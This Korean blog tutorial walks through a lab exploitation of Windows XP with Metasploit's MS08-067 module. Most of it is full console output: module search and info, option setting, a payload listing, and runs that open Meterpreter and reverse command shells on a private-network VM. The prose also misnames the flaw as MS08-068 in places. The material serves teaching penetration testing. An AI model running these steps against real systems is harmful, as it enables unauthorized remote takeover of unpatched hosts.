▶ 실습 환경 준비하기
0. VMware Workstation Pro 설치하기
1. Kali Linux VM (링크)
3. 다운로드받는 Kali Linux VM 파일의 압축을 해제한다.
4. 압축 해제한 파일 중에서 확장자가 vmx 인 파일을 더블클릭하여 VMware Workstation에서 불러온다.
5. 생성된 Kali Linux VM의 사양을 조정한다.
+ Memory를 4G로 변경
6. 스냅샷 생성
7. Kali Linux VM을 부팅하고 로그인 (kali / kali)
▶ Metasploit 프레임워크 사용하기
Metasploit 시작하기
위 그림에 보면 Metasploit Framework에는 2,335개의 공략방법과 1,220개의 추가 모듈등이 표시되어 있다. 여러분들이 이 글을 나중에 읽을 때면 이 숫자는 더 늘어나 있을 것이다. Metasploit은 커뮤니티가 운영하는 프로젝트이기 때문에 누구나 모듈을 제출에서 Metasploit Framework에 포함시킬 수 있는 구조로 되어 있다.
msf6 > help route
Route traffic destined to a given subnet through a supplied session.
Usage:
route [add/remove] subnet netmask [comm/sid]
route [add/remove] cidr [comm/sid]
route [get] <host or network>
route [flush]
route [print]
Subcommands:
add - make a new route
remove - delete a route; 'del' is an alias
flush - remove all routes
get - display the route for a given target
print - show all active routes
Examples:
Add a route for all hosts from 192.168.0.0 to 192.168.0.255 through session 1
route add 192.168.0.0 255.255.255.0 1
route add 192.168.0.0/24 1
Delete the above route
route remove 192.168.0.0/24 1
route del 192.168.0.0 255.255.255.0 1
Display the route that would be used for the given host or network
route get 192.168.0.11
msf6 >
▶ Metasploit에서 모듈 찾기
이번에는 앞서 준비한 XP 머신에 아직 패치되지 않은 취약점을 이용하여 Metasploit이 어떻게 공략하는지 살펴보자. 여기서는 MS08-068 취약점을 공략하기로 한다.
참고로 MS08-068은 netapi32.dll 에 관한 것으로 공격자가 특별히 제작한 원격 프로시저 호출 요청을 SMB(Server Message Block) 서버로 보내 해당 목표 시스템을 장악하는 취약점이다. 이 약점이 특히 위험한 이유는 공격자가 목표 컴퓨터를 공격하기 전에 인증할 필요가 없기 때문이다. MS08-068은 Conficker 웜으로 공격받은 취약점으로 대단한 악명을 떨친바 있다.
마이크로소프트 패치에 익숙하다면 이 취약점이 2008년의 것임을 알 수 있을 것이다. 그 동안 세월을 감안할때 패치가 나왔음에도 불구하고 해당 취약점이 내부 네트워크를 평가할 때 조차 여전히 자주 발견되는 걸 보면 깜짝 놀랄만 하다.
모듈 데이터 베이스
msf6 > search ms08-067
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/windows/smb/ms08_067_netapi 2008-10-28 great Yes MS08-067 Microsoft Server Service Relative Path Stack Corruption
Interact with a module by name or index. For example info 0, use 0 or use exploit/windows/smb/ms08_067_netapi
info 명령어
msf6 > info exploit/windows/smb/ms08_067_netapi
Name: MS08-067 Microsoft Server Service Relative Path Stack Corruption
Module: exploit/windows/smb/ms08_067_netapi
Platform: Windows
Arch:
Privileged: Yes
License: Metasploit Framework License (BSD)
Rank: Great
Disclosed: 2008-10-28
Provided by:
hdm <x@hdm.io>
Brett Moore <brett.moore@insomniasec.com>
frank2 <frank2@dc949.org>
jduck <jduck@metasploit.com>
Available targets:
Id Name
-- ----
=> 0 Automatic Targeting
1 Windows 2000 Universal
2 Windows XP SP0/SP1 Universal
3 Windows 2003 SP0 Universal
4 Windows XP SP2 English (AlwaysOn NX)
5 Windows XP SP2 English (NX)
6 Windows XP SP3 English (AlwaysOn NX)
7 Windows XP SP3 English (NX)
8 Windows XP SP2 Arabic (NX)
9 Windows XP SP2 Chinese - Traditional / Taiwan (NX)
10 Windows XP SP2 Chinese - Simplified (NX)
11 Windows XP SP2 Chinese - Traditional (NX)
12 Windows XP SP2 Czech (NX)
13 Windows XP SP2 Danish (NX)
14 Windows XP SP2 German (NX)
15 Windows XP SP2 Greek (NX)
16 Windows XP SP2 Spanish (NX)
17 Windows XP SP2 Finnish (NX)
18 Windows XP SP2 French (NX)
19 Windows XP SP2 Hebrew (NX)
20 Windows XP SP2 Hungarian (NX)
21 Windows XP SP2 Italian (NX)
22 Windows XP SP2 Japanese (NX)
23 Windows XP SP2 Korean (NX)
24 Windows XP SP2 Dutch (NX)
25 Windows XP SP2 Norwegian (NX)
26 Windows XP SP2 Polish (NX)
27 Windows XP SP2 Portuguese - Brazilian (NX)
28 Windows XP SP2 Portuguese (NX)
29 Windows XP SP2 Russian (NX)
30 Windows XP SP2 Swedish (NX)
31 Windows XP SP2 Turkish (NX)
32 Windows XP SP3 Arabic (NX)
33 Windows XP SP3 Chinese - Traditional / Taiwan (NX)
34 Windows XP SP3 Chinese - Simplified (NX)
35 Windows XP SP3 Chinese - Traditional (NX)
36 Windows XP SP3 Czech (NX)
37 Windows XP SP3 Danish (NX)
38 Windows XP SP3 German (NX)
39 Windows XP SP3 Greek (NX)
40 Windows XP SP3 Spanish (NX)
41 Windows XP SP3 Finnish (NX)
42 Windows XP SP3 French (NX)
43 Windows XP SP3 Hebrew (NX)
44 Windows XP SP3 Hungarian (NX)
45 Windows XP SP3 Italian (NX)
46 Windows XP SP3 Japanese (NX)
47 Windows XP SP3 Korean (NX)
48 Windows XP SP3 Dutch (NX)
49 Windows XP SP3 Norwegian (NX)
50 Windows XP SP3 Polish (NX)
51 Windows XP SP3 Portuguese - Brazilian (NX)
52 Windows XP SP3 Portuguese (NX)
53 Windows XP SP3 Russian (NX)
54 Windows XP SP3 Swedish (NX)
55 Windows XP SP3 Turkish (NX)
56 Windows 2003 SP1 English (NO NX)
57 Windows 2003 SP1 English (NX)
58 Windows 2003 SP1 Japanese (NO NX)
59 Windows 2003 SP1 Spanish (NO NX)
60 Windows 2003 SP1 Spanish (NX)
61 Windows 2003 SP1 French (NO NX)
62 Windows 2003 SP1 French (NX)
63 Windows 2003 SP2 English (NO NX)
64 Windows 2003 SP2 English (NX)
65 Windows 2003 SP2 German (NO NX)
66 Windows 2003 SP2 German (NX)
67 Windows 2003 SP2 Portuguese (NX)
68 Windows 2003 SP2 Portuguese - Brazilian (NX)
69 Windows 2003 SP2 Spanish (NO NX)
70 Windows 2003 SP2 Spanish (NX)
71 Windows 2003 SP2 Japanese (NO NX)
72 Windows 2003 SP2 French (NO NX)
73 Windows 2003 SP2 French (NX)
74 Windows 2003 SP2 Chinese - Simplified (NX)
75 Windows 2003 SP2 Czech (NX)
76 Windows 2003 SP2 Dutch (NX)
77 Windows 2003 SP2 Hungarian (NX)
78 Windows 2003 SP2 Italian (NX)
79 Windows 2003 SP2 Russian (NX)
80 Windows 2003 SP2 Swedish (NX)
81 Windows 2003 SP2 Turkish (NX)
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/usin
g-metasploit/basics/using-metasploit.html
RPORT 445 yes The SMB service port (TCP)
SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)
Payload information:
Space: 408
Avoid: 8 characters
Description:
This module exploits a parsing flaw in the path canonicalization code of
NetAPI32.dll through the Server Service. This module is capable of bypassing
NX on some operating systems and service packs. The correct target must be
used to prevent the Server Service (along with a dozen others in the same
process) from crashing. Windows XP targets seem to handle multiple successful
exploitation events, but 2003 targets will often crash or hang on subsequent
attempts. This is just the first version of this module, full support for
NX bypass on 2003, along with other platforms, is still in development.
References:
https://nvd.nist.gov/vuln/detail/CVE-2008-4250
OSVDB (49243)
https://docs.microsoft.com/en-us/security-updates/SecurityBulletins/2008/MS08-067
https://www.rapid7.com/db/vulnerabilities/dcerpc-ms-netapi-netpathcanonicalize-dos/
View the full module info with the info -d command.
msf6 >
- Name: 모듈을 설명하는 이름
- Module: 모듈 자체의 이름
- Platform: 이 공격이 윈도우 시스템을 향한 것임을 알려준다.
- Priviledged: 이 공격을 성공했을 때 목표 시스템에 대한 권한을 얻게 되는지 여부를 알려준다.
- Rank: 이 공격으로 인하여 목표 시스템이 받게 되는 잠재적인 영향을 목록화한다. 공격 코드는 수동에서 최고 수준까지 순위가 정해진다. 대개 최고수준으로 매겨진 공격코드는 서비스를 죽이지 않으므로 MS08-067과 같이 메모리를 망가뜨리는 취약점은 보통 이런 범주가 아닌, 이보다 한 단계 아래의 좋은 수준에 ㅎ속한다.
- Available Targets: 해당 모듈이 공략할 수 있는 운영체제 버전과 패치 레벨을 목록화한다. 이 모듈은 윈도우 2000, 2003, XP의 다양한 서비스와 언어 팩을 포함한 81개의 공격 가능한 목표를 가지고 있다.
- Basic Options: 요구 조건에 더 잘 맞도록 설정할 수 있는 다양한 옵션을 목록화하였다. 예컨데 RHOST 옵션으로 목표물의 IP 주소를 정한다.
- Payload information: 공격 코드에 쓸 수 있는 페이로드 정보를 담고 있다. 페이로드 또는 셸 코드는 공격자가 목표 시스템을 공격한 다음 수행하는 코드다. (목표 시스템을 공격하는 목적은 당연하게도 정상적으로는 생각지도 못한 특정한 일을 수행하기 위함이다)
자, 이제 해당 모듈을 사용하는 명령어를 입력한다.
msf6 > use windows/smb/ms08_067_netapi
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms08_067_netapi) >
모듈 옵션 정하기
msf6 exploit(windows/smb/ms08_067_netapi) > show options
Module options (exploit/windows/smb/ms08_067_netapi):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/usi
ng-metasploit/basics/using-metasploit.html
RPORT 445 yes The SMB service port (TCP)
SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 192.168.88.131 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic Targeting
View the full module info with the info, or info -d command.
msf6 exploit(windows/smb/ms08_067_netapi) >
→ RHOST
RHOST 옵션은 공격하고자 하는 원격 호스트를 뜻한다. 실습에서는 XP 머신의 IP 주소를 확인하여 사용한다.
msf6 exploit(windows/smb/ms08_067_netapi) > set RHOST 192.168.88.132
RHOST => 192.168.88.132
msf6 exploit(windows/smb/ms08_067_netapi) >
→ RPORT
원격 시스템의 공격할 포트를 뜻한다. 여기서 RPORT는 기본값으로 설정되어 있다. 윈도우 SMB 서비스를 이용하여 공격하므로 RPORT는 SMB의 기본 포트값인 445 여야 한다. 여기서는 그대로 둔다.
→ Exploit Target
공격목표는 0 Automatic Targeting으로 설정되어 있다. 여기엔 목표 시스템의 운영체제와 버전을 설정한다.
▶ 페이로드 (셸 코드)
아직 목표 시스템을 공략한 이후에, 다음으로 어떤 후속 작업을 할 것인지 정하지 않았다. 이런 경우 Metasploit에 페이로드를 간단히 설정할 수 있다. Metasploit은 간단한 윈도우 명령으로부터 Metasploit Meterpreter에 이르기 까지 과할 정도로 많은 페이로드를 갖고 있다. 따라서 호환되는 페이로드를 선택하면 Metasploit은 취약점에서 촉발되는 코드, 성공적으로 공략한 후에 표시될 문자열과 설치될 페이로드에 이르기까지 정교하게 다듬어준다.
호환되는 페이로드 찾기
msf6 exploit(windows/smb/ms08_067_netapi) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/generic/custom normal No Custom Payload
1 payload/generic/debug_trap normal No Generic x86 Debug Trap
2 payload/generic/shell_bind_aws_ssm normal No Command Shell, Bind SSM (via AWS API)
3 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
4 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
5 payload/generic/ssh/interact normal No Interact with Established SSH Connection
6 payload/generic/tight_loop normal No Generic x86 Tight Loop
7 payload/windows/adduser normal No Windows Execute net user /ADD
8 payload/windows/custom/bind_hidden_ipknock_tcp normal No Windows shellcode stage, Hidden Bind Ipknock TCP Stager
9 payload/windows/custom/bind_hidden_tcp normal No Windows shellcode stage, Hidden Bind TCP Stager
10 payload/windows/custom/bind_ipv6_tcp normal No Windows shellcode stage, Bind IPv6 TCP Stager (Windows x86)
11 payload/windows/custom/bind_ipv6_tcp_uuid normal No Windows shellcode stage, Bind IPv6 TCP Stager with UUID Support (Windows x86)
12 payload/windows/custom/bind_named_pipe normal No Windows shellcode stage, Windows x86 Bind Named Pipe Stager
13 payload/windows/custom/bind_nonx_tcp normal No Windows shellcode stage, Bind TCP Stager (No NX or Win7)
14 payload/windows/custom/bind_tcp normal No Windows shellcode stage, Bind TCP Stager (Windows x86)
15 payload/windows/custom/bind_tcp_uuid normal No Windows shellcode stage, Bind TCP Stager with UUID Support (Windows x86)
16 payload/windows/custom/reverse_hop_http normal No Windows shellcode stage, Reverse Hop HTTP/HTTPS Stager
17 payload/windows/custom/reverse_https_proxy normal No Windows shellcode stage, Reverse HTTPS Stager with Support for Custom Proxy
18 payload/windows/custom/reverse_ipv6_tcp normal No Windows shellcode stage, Reverse TCP Stager (IPv6)
19 payload/windows/custom/reverse_named_pipe normal No Windows shellcode stage, Windows x86 Reverse Named Pipe (SMB) Stager
20 payload/windows/custom/reverse_nonx_tcp normal No Windows shellcode stage, Reverse TCP Stager (No NX or Win7)
21 payload/windows/custom/reverse_ord_tcp normal No Windows shellcode stage, Reverse Ordinal TCP Stager (No NX or Win7)
22 payload/windows/custom/reverse_tcp normal No Windows shellcode stage, Reverse TCP Stager
23 payload/windows/custom/reverse_tcp_allports normal No Windows shellcode stage, Reverse All-Port TCP Stager
24 payload/windows/custom/reverse_tcp_dns normal No Windows shellcode stage, Reverse TCP Stager (DNS)
25 payload/windows/custom/reverse_tcp_uuid normal No Windows shellcode stage, Reverse TCP Stager with UUID Support
26 payload/windows/custom/reverse_udp normal No Windows shellcode stage, Reverse UDP Stager with UUID Support
27 payload/windows/dllinject/bind_hidden_ipknock_tcp normal No Reflective DLL Injection, Hidden Bind Ipknock TCP Stager
28 payload/windows/dllinject/bind_hidden_tcp normal No Reflective DLL Injection, Hidden Bind TCP Stager
29 payload/windows/dllinject/bind_ipv6_tcp normal No Reflective DLL Injection, Bind IPv6 TCP Stager (Windows x86)
30 payload/windows/dllinject/bind_ipv6_tcp_uuid normal No Reflective DLL Injection, Bind IPv6 TCP Stager with UUID Support (Windows x86)
31 payload/windows/dllinject/bind_named_pipe normal No Reflective DLL Injection, Windows x86 Bind Named Pipe Stager
32 payload/windows/dllinject/bind_nonx_tcp normal No Reflective DLL Injection, Bind TCP Stager (No NX or Win7)
33 payload/windows/dllinject/bind_tcp normal No Reflective DLL Injection, Bind TCP Stager (Windows x86)
34 payload/windows/dllinject/bind_tcp_uuid normal No Reflective DLL Injection, Bind TCP Stager with UUID Support (Windows x86)
35 payload/windows/dllinject/reverse_hop_http normal No Reflective DLL Injection, Reverse Hop HTTP/HTTPS Stager
36 payload/windows/dllinject/reverse_ipv6_tcp normal No Reflective DLL Injection, Reverse TCP Stager (IPv6)
37 payload/windows/dllinject/reverse_nonx_tcp normal No Reflective DLL Injection, Reverse TCP Stager (No NX or Win7)
38 payload/windows/dllinject/reverse_ord_tcp normal No Reflective DLL Injection, Reverse Ordinal TCP Stager (No NX or Win7)
39 payload/windows/dllinject/reverse_tcp normal No Reflective DLL Injection, Reverse TCP Stager
40 payload/windows/dllinject/reverse_tcp_allports normal No Reflective DLL Injection, Reverse All-Port TCP Stager
41 payload/windows/dllinject/reverse_tcp_dns normal No Reflective DLL Injection, Reverse TCP Stager (DNS)
42 payload/windows/dllinject/reverse_tcp_uuid normal No Reflective DLL Injection, Reverse TCP Stager with UUID Support
43 payload/windows/dns_txt_query_exec normal No DNS TXT Record Payload Download and Execution
44 payload/windows/exec normal No Windows Execute Command
45 payload/windows/format_all_drives manual No Windows Drive Formatter
46 payload/windows/loadlibrary normal No Windows LoadLibrary Path
47 payload/windows/messagebox normal No Windows MessageBox
48 payload/windows/meterpreter/bind_hidden_ipknock_tcp normal No Windows Meterpreter (Reflective Injection), Hidden Bind Ipknock TCP Stager
49 payload/windows/meterpreter/bind_hidden_tcp normal No Windows Meterpreter (Reflective Injection), Hidden Bind TCP Stager
50 payload/windows/meterpreter/bind_ipv6_tcp normal No Windows Meterpreter (Reflective Injection), Bind IPv6 TCP Stager (Windows x86)
51 payload/windows/meterpreter/bind_ipv6_tcp_uuid normal No Windows Meterpreter (Reflective Injection), Bind IPv6 TCP Stager with UUID Support (Windows x86)
52 payload/windows/meterpreter/bind_named_pipe normal No Windows Meterpreter (Reflective Injection), Windows x86 Bind Named Pipe Stager
53 payload/windows/meterpreter/bind_nonx_tcp normal No Windows Meterpreter (Reflective Injection), Bind TCP Stager (No NX or Win7)
54 payload/windows/meterpreter/bind_tcp normal No Windows Meterpreter (Reflective Injection), Bind TCP Stager (Windows x86)
55 payload/windows/meterpreter/bind_tcp_uuid normal No Windows Meterpreter (Reflective Injection), Bind TCP Stager with UUID Support (Windows x86)
56 payload/windows/meterpreter/reverse_hop_http normal No Windows Meterpreter (Reflective Injection), Reverse Hop HTTP/HTTPS Stager
57 payload/windows/meterpreter/reverse_https_proxy normal No Windows Meterpreter (Reflective Injection), Reverse HTTPS Stager with Support for Custom Proxy
58 payload/windows/meterpreter/reverse_ipv6_tcp normal No Windows Meterpreter (Reflective Injection), Reverse TCP Stager (IPv6)
59 payload/windows/meterpreter/reverse_named_pipe normal No Windows Meterpreter (Reflective Injection), Windows x86 Reverse Named Pipe (SMB) Stager
60 payload/windows/meterpreter/reverse_nonx_tcp normal No Windows Meterpreter (Reflective Injection), Reverse TCP Stager (No NX or Win7)
61 payload/windows/meterpreter/reverse_ord_tcp normal No Windows Meterpreter (Reflective Injection), Reverse Ordinal TCP Stager (No NX or Win7)
62 payload/windows/meterpreter/reverse_tcp normal No Windows Meterpreter (Reflective Injection), Reverse TCP Stager
63 payload/windows/meterpreter/reverse_tcp_allports normal No Windows Meterpreter (Reflective Injection), Reverse All-Port TCP Stager
64 payload/windows/meterpreter/reverse_tcp_dns normal No Windows Meterpreter (Reflective Injection), Reverse TCP Stager (DNS)
65 payload/windows/meterpreter/reverse_tcp_uuid normal No Windows Meterpreter (Reflective Injection), Reverse TCP Stager with UUID Support
66 payload/windows/metsvc_bind_tcp normal No Windows Meterpreter Service, Bind TCP
~~~~~~~~~~~~~~~~~~~~~~~~~~~
168 payload/windows/vncinject/reverse_tcp_allports normal No VNC Server (Reflective Injection), Reverse All-Port TCP Stager
169 payload/windows/vncinject/reverse_tcp_dns normal No VNC Server (Reflective Injection), Reverse TCP Stager (DNS)
170 payload/windows/vncinject/reverse_tcp_uuid normal No VNC Server (Reflective Injection), Reverse TCP Stager with UUID Support
msf6 exploit(windows/smb/ms08_067_netapi) >
깜빡하고 페이로드 설정을 하지 않았다면, 공격 모듈은 기본적으로 선택한 페이로드를 거기에 연결된 설정 값으로 실행한다. 하지만 여전히 기본값으로는 충분한 효과를 보기 어렵기 때문에 직접 페이로드를 설정하고 옵션값을 조정하는 것이 좋다.
테스트 공격하기
msf6 exploit(windows/smb/ms08_067_netapi) > exploit
[*] Started reverse TCP handler on 192.168.88.131:4444
[*] 192.168.88.132:445 - Automatically detecting the target...
[*] 192.168.88.132:445 - Fingerprint: Windows XP - Service Pack 3 - lang:Korean
[*] 192.168.88.132:445 - Selected Target: Windows XP SP3 Korean (NX)
[*] 192.168.88.132:445 - Attempting to trigger the vulnerability...
[*] Sending stage (175686 bytes) to 192.168.88.132
[*] Meterpreter session 1 opened (192.168.88.131:4444 -> 192.168.88.132:1048) at 2023-11-12 06:45:22 -0500
meterpreter >
meterpreter > exit
[*] Shutting down Meterpreter...
[*] 192.168.88.132 - Meterpreter session 1 closed. Reason: User exit
msf6 exploit(windows/smb/ms08_067_netapi) >
여기에서는 Meterpreter 세션으로 끝나는 것에 유의하자. Meterpreter는 meta-interpreter의 줄임말로 Metsploit의 페이로드를 뜻하며, 커맨드 셸이 하는 것 이 상의 많은 일을 할 수 있다.
셸의 유형
1) 바인드 셸
바인드 셸은 목표 시스템에 명령할 수 있는 커맨드 셸을 열고, 로컬 포트에 대기한다. 그러면 공격하는 컴퓨터는 목표시스템의 대기 포트로 접속한다. 하지만 방화벽에서 4444와 같은 포트 통신을 막도록 설정되었다면 바인드 셸은 무력화된다.
2) 리버스 셸
리버스 셸은 목표로 삼은 시스템에서 단순히 접속되기를 기다리지 않고, 오히려 공격하는 컴퓨터로 되돌아 접속한다. 이런 경우 거꾸로 접속되는 통신은 방화벽을 통과할 확률이 높기 대문에 공격하는 컴퓨터는 로컬 포트를 열어두고 접속을 대기해야 한다.
▶ 수동으로 페이로드 설정하기
msf6 exploit(windows/smb/ms08_067_netapi) > set payload windows/shell_reverse_tcp
payload => windows/shell_reverse_tcp
msf6 exploit(windows/smb/ms08_067_netapi) >
리버스 셸은 목표시슽메에게 어디로 셸을 보낼 것인지, 즉 공격하는 시스템의 IP 주소와 개 포트를 알려주어야 한다.
msf6 exploit(windows/smb/ms08_067_netapi) > show options
Module options (exploit/windows/smb/ms08_067_netapi):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS 192.168.88.132 yes The target host(s), see https://docs.metasploit.com/docs/usi
ng-metasploit/basics/using-metasploit.html
RPORT 445 yes The SMB service port (TCP)
SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)
Payload options (windows/shell_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 192.168.88.131 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic Targeting
View the full module info with the info, or info -d command.
msf6 exploit(windows/smb/ms08_067_netapi) >
Kali Linux의 IP 주소 확인하기
msf6 exploit(windows/smb/ms08_067_netapi) > ifconfig
[*] exec: ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.88.131 netmask 255.255.255.0 broadcast 192.168.88.255
inet6 fe80::29a0:680a:f89f:ea19 prefixlen 64 scopeid 0x20<link>
ether 00:0c:29:6f:81:59 txqueuelen 1000 (Ethernet)
RX packets 14155 bytes 18928822 (18.0 MiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 3286 bytes 702318 (685.8 KiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 73871 bytes 12674104 (12.0 MiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 73871 bytes 12674104 (12.0 MiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
msf6 exploit(windows/smb/ms08_067_netapi) >
LHOST에 set LHOST 192.168.88.131 명령으로 값을 설정하자. IP 주소는 학습자 환경에 따라 달라진다.
msf6 exploit(windows/smb/ms08_067_netapi) > set LHOST 192.168.88.131
LHOST => 192.168.88.131
msf6 exploit(windows/smb/ms08_067_netapi) >
자, 이제 다시 테스트 공격을 하자.
msf6 exploit(windows/smb/ms08_067_netapi) > exploit
[*] Started reverse TCP handler on 192.168.88.131:4444
[*] 192.168.88.132:445 - Automatically detecting the target...
[*] 192.168.88.132:445 - Fingerprint: Windows XP - Service Pack 3 - lang:Korean
[*] 192.168.88.132:445 - Selected Target: Windows XP SP3 Korean (NX)
[*] 192.168.88.132:445 - Attempting to trigger the vulnerability...
[*] Command shell session 2 opened (192.168.88.131:4444 -> 192.168.88.132:1051) at 2023-11-12 06:54:12 -0500
Shell Banner:
Microsoft Windows XP [Version 5.1.2600]
-----
C:\WINDOWS\system32>
셸을 닫을 때는 Ctrl + C를 누르고, 세션을 닫기 위해서 y 를 입력한다.
C:\WINDOWS\system32>^C
Abort session 2? [y/N] y
[*] 192.168.88.132 - Command shell session 2 closed. Reason: User exit
msf6 exploit(windows/smb/ms08_067_netapi) >
'Security > 보안기초' 카테고리의 다른 글
Memory Theory(01) (0) | 2023.11.14 |
---|---|
Operation Aurora (0) | 2023.11.12 |
취약점 찾기 (0) | 2023.11.12 |
How Email Works (0) | 2023.11.12 |
보안 기초(01강) (0) | 2022.08.22 |